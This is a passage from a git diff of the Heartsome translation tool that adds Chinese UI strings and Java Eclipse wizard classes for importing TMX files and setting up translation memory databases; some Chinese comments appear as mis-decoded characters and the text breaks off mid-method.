\u6587\u4ef6\u7684\u8bb0\u5fc6\u5e93 +wizard.UpdateTMWizard.msgTitle = \u63d0\u793a +wizard.UpdateTMWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684\u6587\u672c\u6bb5\u72b6\u6001\u8303\u56f4\u3002 + +wizard.UpdateTMWizardPage.columnNumber = \u5e8f\u53f7 +wizard.UpdateTMWizardPage.columnPath = XLIFF \u6587\u4ef6 + +########################## 2012-08-13 \u6dfb\u52a0 ############################################### +dialog.UpdateTMWizardPage.btnLocked = \u5df2\u9501\u5b9a +wizard.UpdateTMWizardPage.title = \u5c06\u9009\u62e9\u7684\u6587\u4ef6\u66f4\u65b0\u5230\u8bb0\u5fc6\u5e93 +wizard.UpdateTMWizardPage.description = \u8bf7\u9009\u62e9\u8981\u5165\u5e93\u7684\u6587\u672c\u6bb5\u72b6\u6001\u8303\u56f4\u3002 + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.ConcordanceSearchDialog.lstItem = \u5168\u90e8 + +########################## 2012-09-24 \u6dfb\u52a0 ############################################### +handler.UpdateTMHandler.msg5 = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e > \u8bb0\u5fc6\u5e93\u4e2d\u8bbe\u7f6e\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +# 2012-09-24 add by jason +wizard.NewTmDbBaseInfoPage.msg11 = \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u9519\u8bef\u6216\u8be5\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\u3002 + +########################## 2012-10-19 \u6dfb\u52a0 ############################################### +wizard.ImportTmxWizard.title = \u5bfc\u5165 TMX \u6587\u4ef6 + +########################## 2012-11-30 \u6dfb\u52a0 ############################################### +dialog.ConcordanceSearchDialog.colon = \uff1a + +########################## 2012-12-27 \u6dfb\u52a0 ############################################### +dialog.TmDbManagerDialog.msg11 = \u8bf7\u8bbe\u7f6e SQLite \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg12 = \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u4e0d\u5b58\u5728\u3002 + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite\uff08\u63a8\u8350\uff09 + +# add by jason 2013-04-23 +tm.dbtype.sqlite = \u6587\u4ef6\u7ffb\u8bd1\u8bb0\u5fc6\u5e93 diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxPage.java new file mode 100644 index 0000000..2e09ef8 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxPage.java @@ -0,0 +1,205 @@ +/** + * ImportWizardTmxPage.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTmxPage extends WizardPage { + Logger logger = LoggerFactory.getLogger(ImportTmxPage.class); + private Text tmxFileText; + private DatabaseModelBean dbModel; + + /** + * Create the wizard. + */ + public ImportTmxPage(DatabaseModelBean dbModel) { + super("wizardPage"); + setTitle(Messages.getString("wizard.ImportTmxPage.title")); + setDescription(Messages.getString("wizard.ImportTmxPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/import-tmx-logo.png")); + this.dbModel = dbModel; + } + + /** + * Create contents of the wizard. + * + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(3, false)); + + Label lblTmx = new Label(container, SWT.NONE); + lblTmx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, + 1, 1)); + lblTmx.setText(Messages.getString("wizard.ImportTmxPage.lblTmx")); + + tmxFileText = new Text(container, SWT.BORDER | SWT.READ_ONLY); + tmxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, + false, 1, 1)); + tmxFileText.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String tmxFile = getTMXFile(); + if (tmxFile == null) { + setErrorMessage(Messages.getString("wizard.ImportTmxPage.msg1")); + setPageComplete(false); + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + }); + + Button tmxFileBorwserBtn = new Button(container, SWT.NONE); + tmxFileBorwserBtn.setText(Messages.getString("wizard.ImportTmxPage.tmxFileBorwserBtn")); + tmxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tmx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + if (path != null) { + tmxFileText.setText(path); + } + } + }); + setControl(container); + } + + /** + * 执行导入 + * + * @param tmxFile + * @param tbxFile + * @param dbMetaData + * @param monitor + * ; + * @throws InterruptedException + */ + public void executeImport(String tmxFile, IProgressMonitor monitor) + throws InterruptedException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("wizard.ImportTmxPage.task1")); + int tmxResult = -10; + + StringBuffer resultMessage = new StringBuffer(); + String message = ""; + if (tmxFile != null) { + try { + tmxResult = DatabaseService.importTmxWithFile(dbModel + .toDbMetaData(), tmxFile, new SubProgressMonitor(monitor, + 100), getTmxImportStrategy(), isNeedCheckContext()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + } + + if (tmxResult != DatabaseService.SUCCESS) { + if (tmxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg1")); + } else if (tmxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg2")); + } else if (tmxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg3")); + } else if (tmxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg4")); + } else if (tmxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg5")); + } else if (tmxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.ImportTmxPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + throw new InterruptedException(); + } + monitor.done(); + } + + public String getTMXFile() { + String file = tmxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } + + /** + * 从首选项中读å–导入策略 + * + * @return ; + */ + public int getTmxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TMPreferenceConstants.TM_UPDATE); + } + + /** + * 判断在导入的时候是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + * + * @return ; + */ + public boolean isNeedCheckContext() { + return false; + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizard.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizard.java new file mode 100644 index 0000000..647ab24 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizard.java @@ -0,0 +1,74 @@ +/** + * ImportWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; + +/** + * 记忆库导入å‘导 + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTmxWizard extends Wizard { + private ImportTmxPage tmxPage; + private DatabaseModelBean dbModel; + + public ImportTmxWizard(DatabaseModelBean dbModel) { + this.dbModel = dbModel; + setNeedsProgressMonitor(true); + setWindowTitle(Messages.getString("wizard.ImportTmxWizard.title")); + } + + @Override + public void addPages() { + tmxPage = new ImportTmxPage(this.dbModel); + addPage(tmxPage); + + } + + @Override + public boolean performFinish() { + tmxPage.setErrorMessage(null); + final String tmxFile = tmxPage.getTMXFile(); + if (tmxFile == null || tmxFile.equals("")) { + tmxPage.setErrorMessage(Messages.getString("wizard.ImportTmxWizard.msg")); + return false; + } + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + tmxPage.executeImport(tmxFile, monitor); + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } + + return true; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizardDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizardDialog.java new file mode 100644 index 0000000..140242a --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/ImportTmxWizardDialog.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.database.ui.tm.wizard; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.database.ui.tm.preference.TMDatabasePage; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.ui.util.PreferenceUtil; + +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; + +/** + * 导入 TMX å‘导框 + * @author peason + * @version + * @since JDK1.6 + */ +public class ImportTmxWizardDialog extends TSWizardDialog { + + private Button btnSetting; + + public ImportTmxWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + btnSetting = createButton(parent, -1, Messages.getString("wizard.ImportTmxPage.settingBtn"), true); + super.createButtonsForButtonBar(parent); + btnSetting.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), TMDatabasePage.ID); + } + }); + } + + @Override + public void updateButtons() { + super.updateButtons(); + btnSetting.setVisible(getCurrentPage() instanceof ImportTmxPage + || getCurrentPage() instanceof NewTmDbImportPage + || getCurrentPage() instanceof TmDbManagerImportWizardTmxPage); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbBaseInfoPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbBaseInfoPage.java new file mode 100644 index 0000000..3370691 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbBaseInfoPage.java @@ -0,0 +1,638 @@ +/** + * NewTMBWizardOnePage.java + * + * Version information : + * + * Date:Oct 25, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.sql.SQLException; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.core.DatabaseConfiger; +import net.heartsome.cat.database.ui.core.DbValidator; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.databinding.validation.MultiValidator; +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.jface.databinding.swt.WidgetProperties; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.wizard.IWizardPage; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTmDbBaseInfoPage extends WizardPage { + public static final Logger logger = LoggerFactory.getLogger(NewTmDbBaseInfoPage.class); + + private ComboViewer dbTypeComboViewer; + private Text dbNameText; + private Text instanceText; + private Text locationText; + private Button borwserBtn; + private Text hostText; + private Text portText; + private Text usernameText; + private Text passwordText; + + private DatabaseModelBean dbModel; + private IPreferenceStore pStore; + private List dbTypeList; + + /** @return the dbModel */ + public DatabaseModelBean getDbModel() { + return dbModel; + } + + /** + * 当数æ®åº“类型改å˜æ—¶ 用于ä¿å­˜å½“å‰æ“作的数æ®åº“对象 + * @see #dbTypeChangeEvent(SystemDBOperator) + */ + private SystemDBOperator dbOp; + + // 选择数æ®åº“类型的时候åˆå§‹åŒ–dbMetaDate + private MetaData dbMetaData; + + /** + * Create the wizard. + */ + public NewTmDbBaseInfoPage() { + super("newdbwizardPage"); + setTitle(Messages.getString("wizard.NewTmDbBaseInfoPage.title")); + setDescription(Messages.getString("wizard.NewTmDbBaseInfoPage.desc")); + dbModel = new DatabaseModelBean(); + dbTypeList = DatabaseService.getSystemDbOperaterList(); + + pStore = Activator.getDefault().getPreferenceStore(); + String dbType = pStore.getString(TMPreferenceConstants.TM_RM_DBTYPE); + if (dbType != null && !dbType.equals("")) { + for (SystemDBOperator dbOp : dbTypeList) { + if (dbOp.getMetaData().getDbType().equals(dbType)) { + this.dbOp = dbOp; + break; + } + } + + if (this.dbOp != null) { + dbModel.setDbType(dbType); + dbModel.setInstance(pStore.getString(TMPreferenceConstants.TM_RM_INSTANCE)); + dbModel.setHost(pStore.getString(TMPreferenceConstants.TM_RM_SERVER)); + dbModel.setPort(pStore.getString(TMPreferenceConstants.TM_RM_PORT)); + dbModel.setUserName(pStore.getString(TMPreferenceConstants.TM_RM_USERNAME)); + dbModel.setItlDBLocation(pStore.getString(TMPreferenceConstants.TM_RM_PATH)); + this.dbMetaData = dbOp.getMetaData(); + dbMetaData.setInstance(dbModel.getInstance()); + dbMetaData.setServerName(dbModel.getHost()); + dbMetaData.setPort(dbModel.getPort()); + dbMetaData.setUserName(dbModel.getUserName()); + dbMetaData.setDataPath(dbModel.getItlDBLocation()); + } + } + setImageDescriptor(Activator.getImageDescriptor("images/dialog/new-tmdb-logo.png")); + setPageComplete(false); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + setControl(container); + + int labelWidth = 100; + GridData gdLabel = new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1); + gdLabel.widthHint = labelWidth; + + Group dbGroup1 = new Group(container, SWT.NONE); + dbGroup1.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + dbGroup1.setLayout(new GridLayout(2, false)); + dbGroup1.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 4, 1)); + dbGroup1.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.dbGroup1")); + + Label label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.lblType")); + + dbTypeComboViewer = new ComboViewer(dbGroup1, SWT.READ_ONLY); + Combo combo = dbTypeComboViewer.getCombo(); + combo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + // // + label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.dbNameText")); + + dbNameText = new Text(dbGroup1, SWT.BORDER); + dbNameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(dbGroup1, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.instanceText")); + + instanceText = new Text(dbGroup1, SWT.BORDER); + instanceText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + dbTypeComboViewer.setContentProvider(new ArrayContentProvider()); + + dbTypeComboViewer.setInput(dbTypeList); + dbTypeComboViewer.setLabelProvider(new LabelProvider() { + public String getText(Object element) { + SystemDBOperator dbOp = (SystemDBOperator) element; + String dbType = dbOp.getDBConfig().getDefaultType(); + if (dbType.equals(Constants.DBTYPE_MYSQL)) { + dbType = Constants.DBTYPE_MYSQL_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_MSSQL2005)) { + dbType = Constants.DBTYPE_MSSQL2005_FOR_UI; + } else if (dbType.equals(Constants.DBTYPE_SQLITE)) { + dbType = Messages.getString("tm.dbtype.sqlite"); + } + return dbType; + } + }); + + dbTypeComboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection != null && selection instanceof IStructuredSelection) { + IStructuredSelection sel = (IStructuredSelection) selection; + Object selObj = sel.getFirstElement(); + if (selObj != null && selObj instanceof SystemDBOperator) { + SystemDBOperator selDbOp = (SystemDBOperator) selObj; + dbTypeChangeEvent(selDbOp); + } + } + } + }); + + Group dbGroup = new Group(container, SWT.NONE); + dbGroup.setLayout(new GridLayout(5, false)); + dbGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 4, 1)); + dbGroup.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.dbGroup")); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.hostText")); + + hostText = new Text(dbGroup, SWT.BORDER); + hostText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.portText")); + + portText = new Text(dbGroup, SWT.BORDER); + new Label(dbGroup, SWT.NONE); + + label = new Label(dbGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.locationText")); + + locationText = new Text(dbGroup, SWT.BORDER); + locationText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 3, 1)); + locationText.setEnabled(false); + + borwserBtn = new Button(dbGroup, SWT.NONE); + borwserBtn.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.borwserBtn")); + borwserBtn.setEnabled(false); + borwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + DirectoryDialog dlg = new DirectoryDialog(getShell()); + String path = dlg.open(); + if (path != null) { + locationText.setText(path); + } + } + }); + + Group authorityGroup = new Group(container, SWT.NONE); + authorityGroup.setLayout(new GridLayout(2, false)); + authorityGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 4, 1)); + authorityGroup.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.authorityGroup")); + + label = new Label(authorityGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.usernameText")); + + usernameText = new Text(authorityGroup, SWT.BORDER); + usernameText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(authorityGroup, SWT.RIGHT); + label.setLayoutData(gdLabel); + label.setText(Messages.getString("wizard.NewTmDbBaseInfoPage.passwordText")); + + passwordText = new Text(authorityGroup, SWT.BORDER | SWT.PASSWORD); + passwordText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + initDataBindings(); + if (this.dbOp != null) { + dbTypeComboViewer.setSelection(new StructuredSelection(this.dbOp)); + } else { + dbTypeComboViewer.setSelection(new StructuredSelection(dbTypeList.get(0))); + } + IStatus state = validator(); + if (!state.isOK()) { + setErrorMessage(state.getMessage()); + setPageComplete(false); + } + } + + /** + * 当数æ®åº“类型å‘生改å˜æ—¶ï¼Œå®žå§‹åŒ–当选择类型的 + * @param changedDbOp + * ; + */ + private void dbTypeChangeEvent(SystemDBOperator changedDbOp) { + dbOp = changedDbOp; + dbMetaData = dbOp.getMetaData(); + dbModel.setDbType(dbOp.getDBConfig().getDefaultType()); + + if (dbMetaData.databaseNameSupported()) { + dbNameText.setEnabled(true); + // fix bug2672 + String dbname = dbMetaData.getDatabaseName(); + // if (dbname.equals("")) { + // // 如果设置的内容都是"",则ä¸ä¼šè§¦å‘binding的验è¯æ–¹æ³•ã€‚所以先设置æˆtest,å†ä¿®æ”¹ä¸º"" + // dbNameText.setText("test"/* dbMetaData.getDatabaseName() */); + // } + dbNameText.setText(dbname); + } else { + dbNameText.setEnabled(false); + dbNameText.setText(""); + } + + if (dbMetaData.dataPathSupported()) { + locationText.setEnabled(true); + borwserBtn.setEnabled(true); + locationText.setText(dbMetaData.getDataPath()/* locationText.getText() */); + } else { + locationText.setEnabled(false); + borwserBtn.setEnabled(false); + locationText.setText(""); + } + + if (dbMetaData.serverNameSupported()) { + hostText.setEnabled(true); + hostText.setText(dbMetaData.getServerName()); + } else { + hostText.setEnabled(false); + hostText.setText(""); + } + + if (dbMetaData.instanceSupported()) { + instanceText.setEnabled(true); + instanceText.setText(dbMetaData.getInstance()); + } else { + instanceText.setEnabled(false); + instanceText.setText(""); + } + + if (dbMetaData.portSupported()) { + portText.setEnabled(true); + portText.setText(dbMetaData.getPort()); + } else { + portText.setEnabled(false); + portText.setText(""); + } + + if (dbMetaData.userNameSupported()) { + usernameText.setEnabled(true); + usernameText.setText(dbMetaData.getUserName()); + } else { + usernameText.setEnabled(false); + usernameText.setText(""); + } + + if (dbMetaData.passwordSupported()) { + passwordText.setEnabled(true); + passwordText.setText(dbMetaData.getPassword()); + } else { + passwordText.setEnabled(false); + passwordText.setText(""); + } + } + + protected void initDataBindings() { + DataBindingContext bindingContext = new DataBindingContext(); + WizardPageSupport.create(this, bindingContext); + + IObservableValue widgetValue = WidgetProperties.text(SWT.Modify).observe(dbNameText); + final IObservableValue dbNameModelValue = BeanProperties.value("dbName").observe(dbModel); + bindingContext.bindValue(widgetValue, dbNameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(instanceText); + final IObservableValue instanceModelValue = BeanProperties.value("instance").observe(dbModel); + bindingContext.bindValue(widgetValue, instanceModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(hostText); + final IObservableValue hostModelValue = BeanProperties.value("host").observe(dbModel); + bindingContext.bindValue(widgetValue, hostModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(portText); + final IObservableValue protModelValue = BeanProperties.value("port").observe(dbModel); + bindingContext.bindValue(widgetValue, protModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(locationText); + final IObservableValue locationModelValue = BeanProperties.value("itlDBLocation").observe(dbModel); + bindingContext.bindValue(widgetValue, locationModelValue, null, null); + // + widgetValue = WidgetProperties.text(SWT.Modify).observe(usernameText); + final IObservableValue usernameModelValue = BeanProperties.value("userName").observe(dbModel); + bindingContext.bindValue(widgetValue, usernameModelValue, null, null); + + widgetValue = WidgetProperties.text(SWT.Modify).observe(passwordText); + final IObservableValue passwordModelValue = BeanProperties.value("password").observe(dbModel); + bindingContext.bindValue(widgetValue, passwordModelValue, null, null); + + MultiValidator myValidator = new MultiValidator() { + + @Override + protected IStatus validate() { + dbNameModelValue.getValue(); + instanceModelValue.getValue(); + hostModelValue.getValue(); + protModelValue.getValue(); + locationModelValue.getValue(); + usernameModelValue.getValue(); + passwordModelValue.getValue(); + return validator(); + } + }; + bindingContext.addValidationStatusProvider(myValidator); + } + + /** + * 输入验è¯å™¨ ; + */ + private IStatus validator() { + if (dbOp == null) { + return 